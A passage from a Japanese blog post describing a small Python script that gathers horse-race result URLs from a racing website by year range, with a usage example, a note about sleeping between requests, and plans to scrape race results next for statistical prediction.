docstringの追加
http://jutememo.blogspot.com/2008/08/python_28.html

+ スクリプトを作成する

細かいところの説明は省くが、コードを以下に公開してみる[^2]
[^2]: 正直GitHubとPythonの勉強のために公開しているだけなので、ライセンスもMITにしています。いくらでも自由に使ってください。改善点などあれば(改善点だらけかもしれませんが・・)、教えてもらえると個人的に非常にありがたいです。
https://github.com/marumen/git_netkeiba_scraping

上記のREADMEを読んでいただければ使い方はわかると思うが、ざっくり書くと以下のように使用する

```
$ python html_scraping.py [year]
```

`[year]`から今年までのレース結果URLを`url_list.txt`というファイルへ出力するスクリプトを作成した
例えば、`[year]`を`2016`とすると、2016年から今年(2018年)までのレース結果のURLが取得できる

+ 注意点

    + 連続アクセスにならないように、一定間隔でsleep(5sほど)を持たせている。そのため、処理は正直遅いと思われる
    + 数年分(5年分)の取得は動作確認済みだが、それ以上長い期間は動作未確認。ただし個人として実使用でそこまで長い期間のデータを取得する必要性がないため、これで公開している。


## まとめ
今回の目的は達成！

>競馬を統計的に予想したい！

>何回かに分けて目的を達成してく予定
><b>1. レース結果のURLを取得 <- 今回はこれが目的</b>

次回は以下を実現する
><font color="Black">2. 1のURLからレース結果をスクレイピング</Black>